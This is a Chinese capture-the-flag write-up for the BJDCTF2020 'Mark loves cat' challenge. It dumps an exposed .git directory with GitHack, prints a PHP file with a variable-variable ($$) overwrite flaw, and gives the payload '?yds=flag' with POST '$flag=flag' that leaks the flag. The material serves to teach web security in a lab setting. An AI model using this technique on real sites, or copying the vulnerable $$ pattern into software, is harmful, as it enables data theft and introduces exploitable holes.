[BJDCTF2020]Mark loves cat
[BJDCTF2020]Mark loves cat
发现git泄露,使用gitHack工具进行分析
python GitHack.py http://00db6bf7-dacb-4734-965d-9974f3882333.node3.buuoj.cn/.git
获得index.php和flag.php文件
index.php
1 <?php 2 3 include 'flag.php'; 4 5 $yds = "dog"; 6 $is = "cat"; 7 $handsome = 'yds'; 8 9 foreach($_POST as $x => $y){ 10 $$x = $y; 11 } 12 13 foreach($_GET as $x => $y){ 14 $$x = $$y; 15 } 16 17 foreach($_GET as $x => $y){ 18 if($_GET['flag'] === $x && $x !== 'flag'){ 19 exit($handsome); 20 } 21 } 22 23 if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 24 exit($yds); 25 } 26 27 if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ 28 exit($is); 29 } 30 31 echo "the flag is: ".$flag;
flag.php
<?php $flag = file_get_contents('/flag');
index.php代码第9行和13行,根据$$和foreach可以判断可能存在变量覆盖漏洞,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。
例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。
foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } }
通过查看index.php代码第23行,发现get和post中不存在flag参数便退出程序输出$yds变量,这个地方可以利用
1 if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 2 exit($yds); 3 }
传递如下提交方式的参数
get: yds=flag post: $flag=flag
通过post方式传递$flag=flag,最终结果为$$flag=flag
POST方式处理代码如下
foreach($_POST as $x => $y){ $$x = $y; }
通过get方式传递yds=flag,最终结果为$yds=$flag
GET方式处理代码如下
foreach($_GET as $x => $y){ $$x = $$y; }
get和post中不存在flag参数便退出程序输出$yds变量,得到flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }
payLoad:
?yds=flag
post: $flag=flag